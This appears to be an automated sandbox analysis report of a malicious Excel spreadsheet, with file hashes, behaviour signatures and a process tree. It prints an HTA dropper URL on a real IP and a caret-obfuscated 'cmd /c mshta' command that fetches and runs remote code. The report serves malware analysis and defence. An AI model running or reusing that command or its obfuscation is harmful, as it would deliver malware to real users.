Analysis

  • max time kernel
    67s
  • max time network
    34s
  • platform
    windows7_x64
  • resource
    win7-20240729-en
  • resource tags

    arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
  • submitted
    11-11-2024 18:00

General

  • Target

    9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d.xls

  • Size

    102KB

  • MD5

    a8c9638fbe2369dcea2c111939094feb

  • SHA1

    f14b244c6972c94a63468704f6bdb0c9da38eeef

  • SHA256

    9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d

  • SHA512

    209382608340a289e98988540e5798abce794c29f7144789a916b396d61a4238ac6eb5a4d7c7be750577b83f32b42aaa1dffdc8a0623aad06d3b83c9e89a2e0b

  • SSDEEP

    3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\9e0360c60f4d808917d9f77d234a7412db2e673471f7a8e7aa0c6cb0af4b450d.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2528
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2692
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://0xb907d607/fer/fe3.html
        3⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Modifies Internet Explorer settings
        PID:2812

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • memory/2528-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2528-1-0x0000000073E4D000-0x0000000073E58000-memory.dmp

    Filesize

    44KB

  • memory/2528-2-0x0000000073E4D000-0x0000000073E58000-memory.dmp

    Filesize

    44KB